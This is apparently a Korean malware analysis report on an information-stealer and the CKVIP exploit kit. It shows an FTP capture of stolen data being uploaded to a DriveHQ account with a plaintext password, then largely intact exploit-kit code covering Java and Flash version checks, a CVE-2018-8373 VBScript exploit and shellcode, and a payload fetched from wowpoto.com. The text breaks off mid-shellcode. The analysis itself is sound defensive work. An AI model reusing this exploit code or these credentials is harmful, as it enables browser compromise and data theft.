192.168.182.134 66.220.9.50 FTP 73 Request: PASS lqaz2wsx#EDC
66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [ACK] Seq=219 Ack=40 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 134 Response: 230 User mozilla_forum logged on. Free service has r...
66.220.9.50 192.168.182.134 TCP 134 [TCP Retransmission] 21 → 49344 [PSH, ACK] Seq=219 Ack=40 Win=...
192.168.182.134 66.220.9.50 TCP 54 49344 → 21 [ACK] Seq=40 Ack=299 Win=63942 Len=0
192.168.182.134 66.220.9.50 FTP 100 Request: MKD /htdocs/in/5AE3183A_035-PC-Administrator
66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [ACK] Seq=299 Ack=86 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 85 Response: 550 Directory already exists.
66.220.9.50 192.168.182.134 TCP 85 [TCP Retransmission] 21 → 49344 [PSH, ACK] Seq=299 Ack=86 Win=...
192.168.182.134 66.220.9.50 TCP 54 49344 → 21 [ACK] Seq=86 Ack=330 Win=63911 Len=0
192.168.182.134 66.220.9.50 FTP 104 Request: MKD /htdocs/in/5AE3183A_035-PC-Administrator/wpw
66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [ACK] Seq=330 Ack=136 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 85 Response: 550 Directory already exists.
66.220.9.50 192.168.182.134 TCP 85 [TCP Retransmission] 21 → 49344 [PSH, ACK] Seq=330 Ack=136 Win=...
192.168.182.134 66.220.9.50 TCP 54 49344 → 21 [ACK] Seq=136 Ack=361 Win=63880 Len=0
192.168.182.134 66.220.9.50 FTP 62 Request: TYPE I
66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [ACK] Seq=361 Ack=144 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 73 Response: 200 Type set to I
192.168.182.134 66.220.9.50 FTP 60 Request: PASV
66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [ACK] Seq=380 Ack=150 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 102 Response: 227 Entering Passive Mode (66,220,9,50,29,25).
192.168.182.134 66.220.9.50 FTP 123 Request: STOR /htdocs/in/5AE3183A_035-PC-Administrator/wpw/031...
66.220.9.50 192.168.182.134 TCP 60 21 → 49344 [ACK] Seq=428 Ack=219 Win=64240 Len=0
66.220.9.50 192.168.182.134 FTP 79 Response: 150 Connection accepted
66.220.9.50 192.168.182.134 FTP 77 Response: 226 Transfer complete

220 Welcome to the most popular FTP hosting service! Save on hardware, software, hosting and admin. Share files/folders with read-write permission. Visit
http://www.drivehq.com/ftp/;
USER mozilla_forum
331 User name ok, need password.
PASS lqaz2wsx#EDC
230 User mozilla_forum logged on. Free service has restrictions and is slower.
MKD /htdocs/in/5AE3183A_035-PC-Administrator
550 Directory already exists.
MKD /htdocs/in/5AE3183A_035-PC-Administrator/wpw
550 Directory already exists.
TYPE I
200 Type set to I
PASV
227 Entering Passive Mode (66,220,9,50,29,25).
STOR /htdocs/in/5AE3183A_035-PC-Administrator/wpw/0310_171819_0.dat
150 Connection accepted
226 Transfer complete

```

The screenshot shows the DriveHQ website interface. At the top, there's a navigation bar with 'Account Storage | DriveHQ'. Below it, contact information is listed: support@drivehq.com, (925) 396-5819, and (800) 836-0198. The main content area has the DriveHQ logo and 'First Cloud IT Service Provider' tagline. Below this are links for 'FEATURES', 'PRICING', and 'SOFTWARE'. A file manager interface is overlaid on the bottom half of the page, showing a list of files in a folder named 'wpw'. The files are listed with their names, actions, create times, modify times, and sizes. A red box highlights the first five files in the list.


Name	Action	Create Time	Modify Time	Size
0310_114300_0.dat		03/10/2019 10:43:04 AM	03/10/2019 10:43:03 AM	695 B
0310_115604_0.dat		03/10/2019 10:56:08 AM	03/10/2019 10:56:07 AM	695 B
0310_141836_0.dat		03/10/2019 1:41:27 PM	03/10/2019 1:41:27 PM	572 B
0310_150414_0.dat		03/10/2019 2:04:15 PM	03/10/2019 2:04:14 PM	684 B
0310_150512_0.dat		03/10/2019 2:05:13 PM	03/10/2019 2:05:13 PM	684 B
0310_150527_0.dat		03/10/2019 2:05:28 PM	03/10/2019 2:05:28 PM	684 B

Folder Name: wpw Create Time: 03/10/2019 10:43:03 AM Modify Time: 03/10/2019 5:07:42 PM Folder Size: 5 KB

수집한 정보를 특정 ftp 서버로 전송

□ VBScript 엔진 취약점(CVE-2018-8373)을 악용한 CKVIP 익스플로잇킷

➡ 다운로드



<http://www.wowpoto.com/index.html>

// Java, IE 버전 체크 및 취약점을 악용하여 악성코드 다운로드

```
<script type="text/javascript">
    function encode() {
        var omg = ckl(), x1 = new Array, x2 = "";
        for(var i=0;i<omg.length;i++) {
            if(omg[i]==159) {
            } else {
                x1[i] = omg[i]-159;
                x2 += String.fromCharCode(x1[i]);
            }
        }
        return x2;
    }
    function be() {
        document.writeln("<iframe src=" + bentley + ".html width=60 height=1></iframe>");
// bentley='JdZpGw'
    }
    function bu() {
        document.writeln("<iframe src=" + bugatti + ".html width=60 height=1></iframe>");
// bugatti='MoBcQx'
    }
    function fe() {
        document.writeln("<iframe src=" + ferrari + ".html width=30 height=1></iframe>");
// ferrari='PyVhJy'
    }
    function ro() {
        document.writeln("<iframe src=" + rollsroyce + ".html width=30 height=1></iframe>");
// rollsroyce='TtMgZb'
    }
    var ckurl = encode();
    var wmck=deployJava.getJREs()+"";
    wmck=parselnt(wmck.replace(/\.|_|g,","));
```

```

var WhatIE = navigator.userAgent.toLowerCase();
if( wmck > 17006 && wmck < 17011 ) { // CVE-2013-0422 (Java Applet 취약점)
    var jaguarx = jaguar + ".jar";
    if( WhatIE.indexOf("msie 6")>-1 ) {
        document.writeln("<object    classid=\<clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\<
width=\<600\<    height=\<400\< <param        name=xiaomaolv        value=\<"+ckurl+"\< <param        name=bn
value=\<woyouyizhixiaomaolv\< <param name=si value=\<conglaiyebuqi\< <param name=bs value=\<748\< <param
name=CODE value=\<xml20130422.XML20130422.class\< <param name=archive value=\<"+jaguarx+"\< </object>");
    }else {
        document.write("<br>");
        var gondady=document.createElement("body");
        document.body.appendChild(gondady);
        var gondad=document.createElement("applet");
        gondad.width="600";
        gondad.height="400";
        gondad.archive=jaguarx; // jaguar=PjSbGa'
        gondad.code="xml20130422.XML20130422.class";
        gondad.setAttribute("xiaomaolv",ckurl);
        gondad.setAttribute("bn","woyouyizhixiaomaolv");
        gondad.setAttribute("si","conglaiyebuqi");
        gondad.setAttribute("bs","748");
        document.body.appendChild(gondad);
    }
}else if( wmck >= 17000 && wmck < 17007 ) { // CVE-2012-4681 (Java Applet 취약점)
    var audix = audi + ".jar";
    if( WhatIE.indexOf("msie 6")>-1 ) {
        document.writeln("<object    classid=\<clsid:8ad9c840-044e-11d1-b3e9-00805f499d93\<
width=\<256\<    height=\<256\< <param        name=xiaomaolv        value=\<"+ckurl+"\< <param        name=bn
value=\<woyouyizhixiaomaolv\< <param name=si value=\<conglaiyebuqi\< <param name=bs value=\<748\< <param
name=CODE value=\<setu.hohoho.class\< <param name=archive value=\<"+audix+"\< </object>");
    }else {
        document.write("<br>");
        var gondady=document.createElement("body");

```

```

        document.body.appendChild(gondady);
        var gondad=document.createElement("applet");
        gondad.width="256";
        gondad.height="256";
        gondad.archive=audix; // audi='MzPwWz'
        gondad.code="setup.hohoho.class";
        gondad.setAttribute("xiaomaolv",ckurl);
        gondad.setAttribute("bn","woyouyizhixiaomaolv");
        gondad.setAttribute("si","conglaiyebuqi");
        gondad.setAttribute("bs","748");
        document.body.appendChild(gondad);
    }
    }else if( wmck <= 16027 && WhatIE.indexOf("msie 10")==-1 && WhatIE.indexOf("rv:11")==-1 ) {
// CVE-2011-3544 (Java Applet 취약점)
        var benzx = benz + ".jar";
        var okokx = GTR + ".class";
        var ckckx = document.createElement('applet');
        ckckx.archive=benzx; // benz='JwViDz'
        ckckx.code=okokx;
        ckckx.width="30";
        ckckx.height="1";
        document.body.appendChild(ckckx);
        var ckcks=document.createElement('param');
        ckcks.name="dota";
        ckcks.value=ckurl;
        ckckx.appendChild(ckcks);
    }
    document.writeln("<iframe src=" + maserati + ".html width=30 height=1></iframe>"); // maserati='CrCeVv'
    if( WhatIE.indexOf("nt 10")>-1 && WhatIE.indexOf("edge")>-1 ) {
        be();
    }else if( WhatIE.indexOf("trident")>-1 && WhatIE.indexOf("rv:11")>-1 ) {
        setTimeout("window.location.href='"+ferrari+".html'", 4000);
    }else if( WhatIE.indexOf("nt 6")>-1 && WhatIE.indexOf("msie 8")==-1 ) {

```



```

        fe();
    }else if( WhatIE.indexOf("nt 6")>-1 && WhatIE.indexOf("msie 8")>-1 ) {
        bu();
    }else if( WhatIE.indexOf("windows nt")>-1 ) {
        ro();
    }
    function ckl(){var mini;mini=new
window['Array'](263,275,275,271,217,206,206,278,278,205,278,270,278,271,270,275,270,205,258,270,268,206,
278,270,278,271,270,275,270,205,260,279,260,159);return mini;} // http://www.wowpoto.com/wowpoto.exe
</script>

```

/jquery.js

```
// Java 사용에 필요한 라이브러리
```

```

var version_regex_base = "(^(\d+)(?:\.\d+)(?:\.\d+)(?:\.\d+))?(?:\.\d+)?";
var version_regex_strict = version_regex_base + "$";
var version_regex_with_family_modifier = version_regex_base + "(\\*|\\+)?$";
var deployJava = function() {
    var l = {
        core: ["id", "class", "title", "style"],
        i18n: ["lang", "dir"],
        events: ["onclick", "ondblclick", "onmousedown", "onmouseup", "onmouseover", "onmousemove",
"onmouseout", "onkeypress", "onkeydown", "onkeyup"],
        applet: ["codebase", "code", "name", "archive", "object", "width", "height", "alt", "align", "hspace", "vspace"],
        object: ["classid", "codebase", "codetype", "data", "type", "archive", "declare", "standby", "height", "width",
"usemap", "name", "tabindex", "align", "border", "hspace", "vspace"]
    };
    var b = l.object.concat(l.core, l.i18n, l.events);
    var m = l.applet.concat(l.core);

    function g(o) {
        if (!d.debug) {
            return

```

```

    }
    if (console.log) {
        console.log(o)
    } else {
        alert(o)
    }
}

```

..... 생략

/CrCeVw.html

[CK Vip 난독화 스크립트 디코딩 후]

// Adobe Flash Player 버전 체크 및 취약점을 악용하여 악성코드 다운로드

```
<script type = "text/javascript" >
```

```

    var _0x5ea5 = ["\x67\x65\x74\x53\x77\x66\x56\x65\x72", "\x70\x72\x6F\x74\x6F\x74\x79\x70\x65", "",
"\x72\x65\x70\x6C\x61\x63\x65", "\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65",
"\x75\x73\x65\x72\x41\x67\x65\x6E\x74", "\x67\x65\x74\x50\x6C\x61\x79\x65\x72\x56\x65\x72\x73\x69\x6F\x6E",
" \ x 5 3 \ x 5 7 \ x 4 6 \ x 4 F \ x 6 2 \ x 6 A \ x 6 5 \ x 6 3 \ x 7 4 \ x 5 5 \ x 7 4 \ x 6 9 \ x 6 C " ,
"\x3C\x6F\x62\x6A\x65\x63\x74\x20\x63\x6C\x61\x73\x73\x69\x64\x3D\x22\x63\x6C\x73\x69\x64\x3A\x64\x32\x37\x6
3\x64\x62\x36\x65\x2D\x61\x65\x36\x64\x2D\x31\x31\x63\x66\x2D\x39\x36\x62\x38\x2D\x34\x34\x34\x35\x35\x33\x3
5\x34\x30\x30\x30\x30\x22\x20\x61\x6C\x6C\x6F\x77\x53\x63\x72\x69\x70\x74\x41\x63\x63\x65\x73\x73\x3D\x61\x6
C\x77\x61\x79\x73\x20\x77\x69\x64\x74\x68\x3D\x22\x36\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x3
E
",
"\x3C\x70\x61\x72\x61\x6D\x20\x6E\x61\x6D\x65\x3D\x22\x6D\x6F\x76\x69\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x
22",
"\x3C\x70\x61\x72\x61\x6D\x20\x6E\x61\x6D\x65\x3D\x22\x70\x6C\x61\x79\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x
7 4 \ x 7 2 \ x 7 5 \ x 6 5 \ x 2 2 \ x 2 F \ x 3 E " ,
"\x3C\x70\x61\x72\x61\x6D\x20\x6E\x61\x6D\x65\x3D\x46\x6C\x61\x73\x68\x56\x61\x72\x73\x20\x76\x61\x6C\x75\x
65\x3D\x22",
"\x3C\x21\x2D\x2D\x5B\x69\x66\x20\x21\x49\x45\x5D\x3E\x2D\x2D\x3E",
"\x3C\x6F\x62\x6A\x65\x63\x74\x20\x74\x79\x70\x65\x3D\x22\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x7
8\x2D\x73\x68\x6F\x63\x6B\x77\x61\x76\x65\x2D\x66\x6C\x61\x73\x68\x22\x20\x64\x61\x74\x61\x3D\x22",
"\x22\x20\x61\x6C\x6C\x6F\x77\x53\x63\x72\x69\x70\x74\x41\x63\x63\x65\x73\x73\x3D\x61\x6C\x77\x61\x79\x73\x2

```

```

0\x77\x69\x64\x74\x68\x3D\x22\x36\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x3E",
"\x3C\x21\x2D\x2D\x3C\x21\x5B\x65\x6E\x64\x69\x66\x5D\x2D\x2D\x3E",
"\x3C\x21\x2D\x2D\x5B\x69\x66\x20\x21\x49\x45\x5D\x3E\x2D\x2D\x3E\x3C\x2F\x6F\x62\x6A\x65\x63\x74\x3E\x3C\x21\x2D\x2D\x3C\x21\x5B\x65\x6E\x64\x69\x66\x5D\x2D\x2D\x3E",
"\x3C\x2F\x6F\x62\x6A\x65\x63\x74\x3E",
"\x77\x72\x69\x74\x65", "\x6D\x61\x6A\x6F\x72", "\x6D\x69\x6E\x6F\x72", "\x72\x65\x76", "\x6E\x62\x77\x6D",
"\x63\x6F\x6F\x6B\x69\x65\x5F\x64\x6F\x2E\x73\x77\x66", "\x6E\x74\x20\x36", "\x69\x6E\x64\x65\x78\x4F\x66",
"\x77\x6F\x77\x36\x34", "\x6D\x73\x69\x65\x20\x38", "\x62\x69\x6E\x5F\x64\x6F\x2E\x73\x77\x66",
"\x6C\x6F\x67\x6F\x2E\x73\x77\x66", "\x65\x78\x65\x63\x3D\x46\x6D\x46", "\x6D\x73\x69\x65\x20\x36",
" \ x 6 D \ x 7 3 \ x 6 9 \ x 6 5 \ x 2 0 \ x 3 7 " ,
"\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x77\x77\x2E\x68\x74\x6D\x6C\x20\x77\x69\x64\x74\x68\x3D\x33\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x31\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E";
var flashurl = ckls();
var vers = flash[_0x5ea5[1]][_0x5ea5[0]]();
vers = parseInt(vers[_0x5ea5[3]](/./\./g, _0x5ea5[2]));
var kaka = navigator[_0x5ea5[5]][_0x5ea5[4]]();
var apple = deconcept[_0x5ea5[7]][_0x5ea5[6]]();

function flash_run(_0xd084x6, _0xd084x7) {
    var _0xd084x8 = _0x5ea5[8];
    _0xd084x8 = _0xd084x8 + _0x5ea5[9] + _0xd084x6 + _0x5ea5[10];
    _0xd084x8 = _0xd084x8 + _0x5ea5[11];
    _0xd084x8 = _0xd084x8 + _0x5ea5[12] + _0xd084x7 + _0x5ea5[10];
    _0xd084x8 = _0xd084x8 + _0x5ea5[13];
    _0xd084x8 = _0xd084x8 + _0x5ea5[14] + _0xd084x6 + _0x5ea5[15];
    _0xd084x8 = _0xd084x8 + _0x5ea5[9] + _0xd084x6 + _0x5ea5[10];
    _0xd084x8 = _0xd084x8 + _0x5ea5[11];
    _0xd084x8 = _0xd084x8 + _0x5ea5[12] + _0xd084x7 + _0x5ea5[10];
    _0xd084x8 = _0xd084x8 + _0x5ea5[16];
    _0xd084x8 = _0xd084x8 + _0x5ea5[17];
    _0xd084x8 = _0xd084x8 + _0x5ea5[18];
    document[_0x5ea5[19]](_0xd084x8)
}

function flash_run2(_0xd084x6) {

```

```

var _0xd084x8 = _0x5ea5[8];
_0xd084x8 = _0xd084x8 + _0x5ea5[9] + _0xd084x6 + _0x5ea5[10];
_0xd084x8 = _0xd084x8 + _0x5ea5[11];
_0xd084x8 = _0xd084x8 + _0x5ea5[13];
_0xd084x8 = _0xd084x8 + _0x5ea5[14] + _0xd084x6 + _0x5ea5[15];
_0xd084x8 = _0xd084x8 + _0x5ea5[9] + _0xd084x6 + _0x5ea5[10];
_0xd084x8 = _0xd084x8 + _0x5ea5[11];
_0xd084x8 = _0xd084x8 + _0x5ea5[16];
_0xd084x8 = _0xd084x8 + _0x5ea5[17];
_0xd084x8 = _0xd084x8 + _0x5ea5[18];
document[_0x5ea5[19]](_0xd084x8)
}
function CheckVersion11() { // 버전 체크
    if (apple[_0x5ea5[20]] != 11) {
        return false
    };
    if (apple[_0x5ea5[21]] == 9 && apple[_0x5ea5[22]] > 900) {
        return false
    };
    if (apple[_0x5ea5[21]] > 2 && apple[_0x5ea5[22]] > 202 && apple[_0x5ea5[23]] > 406) {
        return false
    };
    return true
}
function CheckVersion12() {
    if (apple[_0x5ea5[20]] != 12) {
        return false
    };
    return true
}
function CheckVersion13() {
    if (apple[_0x5ea5[20]] != 13) {
        return false
    }
}

```



```
};  
if (apple[_0x5ea5[20]] == 13 && apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]]  
> 241) {  
    return false  
};  
return true  
}  
function CheckVersion14() {  
    if (apple[_0x5ea5[20]] != 14) {  
        return false  
};  
if (apple[_0x5ea5[20]] == 14 && apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]]  
> 179) {  
    return false  
};  
return true  
}  
function CheckVersion15() {  
    if (apple[_0x5ea5[20]] != 15) {  
        return false  
};  
if (apple[_0x5ea5[20]] == 15 && apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]]  
> 167) {  
    return false  
};  
return true  
}  
function CheckVersion16() {  
    if (apple[_0x5ea5[20]] != 16) {  
        return false  
};  
if (apple[_0x5ea5[20]] == 16 && apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]]  
> 296) {
```

```
        return false
    };
    return true
}
function CheckVersion17() {
    if (apple[_0x5ea5[20]] != 17) {
        return false
    };
    if (apple[_0x5ea5[20]] == 17 && apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]]
> 188) {
        return false
    };
    return true
}
function CheckVersion18() {
    if (apple[_0x5ea5[20]] != 18) {
        return false
    };
    if (apple[_0x5ea5[20]] == 18 && apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]]
> 203) {
        return false
    };
    return true
}
function CheckVersion21_31() {
    if ((apple[_0x5ea5[20]] == 21) && (apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]]
<= 242)) {
        return true
    } else {
        if ((apple[_0x5ea5[20]] == 22) && (apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 &&
apple[_0x5ea5[23]] <= 211)) {
            return true
        } else {
```

```

        if ((apple[_0x5ea5[20]] == 23) && (apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 &&
apple[_0x5ea5[23]] <= 207)) {
            return true
        } else {
            if ((apple[_0x5ea5[20]] == 24) && (apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 &&
apple[_0x5ea5[23]] <= 221)) {
                return true
            } else {
                if ((apple[_0x5ea5[20]] == 25) && (apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 &&
apple[_0x5ea5[23]] <= 171)) {
                    return true
                } else {
                    if ((apple[_0x5ea5[20]] == 26) && (apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] ==
0 && apple[_0x5ea5[23]] <= 151)) {
                        return true
                    } else {
                        if ((apple[_0x5ea5[20]] == 27) && (apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]]
== 0 && apple[_0x5ea5[23]] <= 187)) {
                            return true
                        } else {
                            if ((apple[_0x5ea5[20]] == 28) && (apple[_0x5ea5[21]] == 0 &&
apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 126)) {
                                return true
                            } else {
                                if ((apple[_0x5ea5[20]] == 28) && (apple[_0x5ea5[21]] == 0 &&
apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 137)) {
                                    return true
                                } else {
                                    if ((apple[_0x5ea5[20]] == 28) && (apple[_0x5ea5[21]] == 0 &&
apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 161)) {
                                        return true
                                    } else {
                                        if ((apple[_0x5ea5[20]] == 29) && (apple[_0x5ea5[21]] == 0 &&

```

```

apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 113)) {
    return true
} else {
    if ((apple[_0x5ea5[20]] == 29) && (apple[_0x5ea5[21]] == 0 &&
apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 171)) {
        return true
    } else {
        if ((apple[_0x5ea5[20]] == 30) && (apple[_0x5ea5[21]] ==
0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 113)) {
            return true
        } else {
            if ((apple[_0x5ea5[20]] == 30) && (apple[_0x5ea5[21]]
== 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 134)) {
                return true
            } else {
                if ((apple[_0x5ea5[20]] == 30) &&
(apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 154)) {
                    return true
                } else {
                    if ((apple[_0x5ea5[20]] == 31) &&
(apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 108)) {
                        return true
                    } else {
                        if ((apple[_0x5ea5[20]] == 31) &&
(apple[_0x5ea5[21]] == 0 && apple[_0x5ea5[22]] == 0 && apple[_0x5ea5[23]] <= 153)) {
                            return true
                        } else {
                            return false
                        }
                    }
                }
            }
        }
    }
}

```


취약점)

```

CheckVersion13() || CheckVersion14() || CheckVersion15())) {
    flash_run(_0x5ea5[30], _0x5ea5[31] + flashurl) // logo.swf
} else {
    if ((kaka[_0x5ea5[26]](_0x5ea5[32]) > -1 || kaka[_0x5ea5[26]](_0x5ea5[33]) > -1) &&
apple[_0x5ea5[20]] == 10 && apple[_0x5ea5[21]] == 3 && apple[_0x5ea5[22]] <= 183) {
        document[_0x5ea5[19]](_0x5ea5[34]); // ww.html CVE-2011-2140 (Adobe Flash Player
추약점)
    }
}
}
}
}
}
}
}
function ckls(){
return "JB2kHkHkgFpKLKlkkkkkkKwkkBLkkkgBLkHBLKwBFBLBxKLkkBLkkkgBLkHBLKwByk2Bygg";
} // http://www.wowpoto.com/wowpoto.exe
</script>

```

/swfobject.js

```

// Flash Player사용에 필요한 라이브러리
if (typeof deconcept == "undefined") var deconcept = {};
if (typeof deconcept.util == "undefined") deconcept.util = {};
if (typeof deconcept.SWFObjectUtil == "undefined") deconcept.SWFObjectUtil = {};
deconcept.SWFObject = function(swf, id, w, h, ver, c, quality, xiRedirectUrl, redirectUrl, detectKey) {
    if (!document.getElementById) {
        return;
    }
    this.DETECT_KEY = detectKey ? detectKey : 'detectflash';
    this.skipDetect = deconcept.util.getRequestParameter(this.DETECT_KEY);
    this.params = {};
    this.variables = {};
    this.attributes = [];
}

```

```

if (swf) {
    this.setAttribute('swf', swf);
}
if (id) {
    this.setAttribute('id', id);
}
if (w) {
    this.setAttribute('width', w);
}
if (h) {
    this.setAttribute('height', h);
}
if (ver) {
    this.setAttribute('version', new deconcept.PlayerVersion(ver.toString().split(".")));
}

```

..... 생략

/PyVhJy.html

[CK Vip 난독화 스크립트 디코딩 후]

```

<script type="text/vbscript">
    Dim max_col
    Dim index_vul
    Dim index_a
    Dim index_b
    Dim addr
    Dim array()
    Dim array2(0,6)
    Dim util_mem
    Dim fake_array
    Dim fake_str
    Dim NtContinueAddr,VirtualProtectAddr

```

```

Class Dummy
End Class

Class MyClass
    private Sub Class_Initialize // CVE-2018-8373 (IE 취약점)
        ReDim array(2)
        IsEmpty(array)
    End Sub
    Public Default Property Get P
        ReDim Preserve array(100000)

        For i = 0 To UBound(array2,2)
            array2(0,i) = 3
        Next
        For i = 0 To UBound(array)
            array(i) = array2
        Next
        P=&h0ffffff
    End Property
End Class

Function LeakVBAddr
    Set dm = New Dummy
    Set array(index_vul)(index_a+4,0) = dm
    array(index_b)(0,4) = CDbI("6.36598737437801E-314")
    LeakVBAddr=array(index_vul)(index_a+4,0)
End Function

Function GetBaseByDOSmodeSearch(ArrDll)
    Dim TEMPVAL
    TEMPVAL=ArrDll And &hfff0000
    Do While GetUInt32(TEMPVAL+(&h748+4239-&H176f))<>544106784 Or
GetUInt32(TEMPVAL+(&ha2a+7373-&H268b))<>542330692
        TEMPVAL=TEMPVAL-65536
    Loop
    GetBaseByDOSmodeSearch=TEMPVAL

```



```
End Function

Function FND(IIII)
FND=GetUInt32(IIII) And (&h17eb+1312-&H1c0c)
End Function

Function StrCompWrapper(IIII,IFNCI)
    Dim ArrAI,INDEXTMP
    ArrAI=""
    For INDEXTMP=(&ha2a+726-&Hd00) To Len(IFNCI)-(&h2e1+5461-&H1835)
        ArrAI=ArrAI &Chr(FND(IIII+INDEXTMP))
    Next
    StrCompWrapper=StrComp(UCase(ArrAI),UCase(IFNCI))
End Function

Function GetBaseFromImport(base_address,name_input)
    Dim import_rva,nt_header,descriptor,import_dir
    Dim FNAI
    nt_header=GetUInt32(base_address+(&h3c))
    import_rva=GetUInt32(base_address+nt_header+&h80)
    import_dir=base_address+import_rva
    descriptor=0
    Do While True
        Dim Name
        Name=GetUInt32(import_dir+descriptor*(&h14)+&hc)
        If Name=0 Then
            GetBaseFromImport=&hBAAD0000
            Exit Function
        Else
            If StrCompWrapper(base_address+Name,name_input)=0 Then
                Exit Do
            End If
        End If
        descriptor=descriptor+1
    Loop
    FNAI=GetUInt32(import_dir+descriptor*(&h14)+&h10)
```

```

        GetBaseFromImport=GetBaseByDOSmodeSearch(GetUInt32(base_address+FNAl))
    End Function
    Function FNA(Domain)
        IVARF=0
        IVARCI=0
        IVARFI=0
        Id=CLng(Rnd*1000000)
        IVARF=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
        If(Id+IVARF)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
            IVARF=IVARF-(&h86d+6447-&H219b)
        End If
        IVARCI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
        IVARFI=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
        FNA=Domain &"?" &Chr(IVARCI) &"=" &Id &"&" &Chr(IVARFI) &"=" &IVARF
    End Function
    Function FNB(ByVal FNCl)
        IIII=""
        For index=0 To Len(FNCl)-1
            IIII=IIII &FNC(Asc(Mid(FNCl,index+1,1)),2)
        Next
        IIII=IIII &"00"
        If Len(IIII)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
            IIII=IIII &"00"
        End If
        For INDEXTEMP=(&h1a1a+3208-&H26a2) To
Len(IIII)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)

        IArrB=Mid(IIII,INDEXTEMP*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))

        FNClI=Mid(IIII,INDEXTEMP*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H25
04))

        FNB=FNB &"%u" &FNClI &IArrB
    Next

```

```
End Function

Function FNC(ByVal Number,ByVal Length)
    IIII=Hex(Number)
    If Len(IIII)<Length Then
        IIII=String(Length-Len(IIII),"0") &IIII
    Else
        IIII=Right(IIII,Length)
    End If
    FNC=IIII
End Function

Function IReuseCLASS(IIII)
    IReuseCLASS=GetUInt32(IIII) And (131071-65536)
End Function

Function GetProcAddr(dll_base,name)
    Dim p,export_dir,index
    Dim function_rvas,function_names,function_ordin
    Dim IVARCI
    p=GetUInt32(dll_base+&h3c)
    p=GetUInt32(dll_base+p+&h78)
    export_dir=dll_base+p
    function_rvas=dll_base+GetUInt32(export_dir+&h1c)
    function_names=dll_base+GetUInt32(export_dir+&h20)
    function_ordin=dll_base+GetUInt32(export_dir+&h24)
    index=0
    Do While True
        Dim IIII
        IIII=GetUInt32(function_names+index*4)
        If StrCompWrapper(dll_base+IIII,name)=0 Then
            Exit Do
        End If
        index=index+1
    Loop
    IVARCI=IReuseCLASS(function_ordin+index*2)
```

```

p=GetUInt32(function_rvas+IVARCI*4)
GetProcAddr=dll_base+p
End Function
Function GetShellcode()
    TEMPCODE = Unescape(" % u 0 0 0 0 % u 0 0 0 0 % u 0 0 0 0 % u 0 0 0 0 ")
    &Unescape("%u11eb%u4b5b%uc933%u10b9%u0001%u8000%u0b34%ue2ee%uebfa%ue805%uffea%uffff%u5707
    %ueeee%ub1ee%u27dd%u4f8a%ueede%ueeee%uae65%u65e2%uf29e%ub865%u65e6%uceb0%ud865%ua5d6%
    u9bf6%u651d%u6504%u8419%ub7ea%ua206%ueeee%u0cee%u8617%u8081%ueeee%u9b86%u829c%uba83%u
    f811%u0665%ud806%ueeee%u6dee%uce02%u3265%uce84%u11bd%ueab8%uea29%ub2ed%u8b9d%u299a%ue
    daa%u9bea%uc09e%u298b%uedaa%u96e6%uee8b%uddee%ube2e%ubdbe%ubeb9%ub811%u65fe%ube32%u11
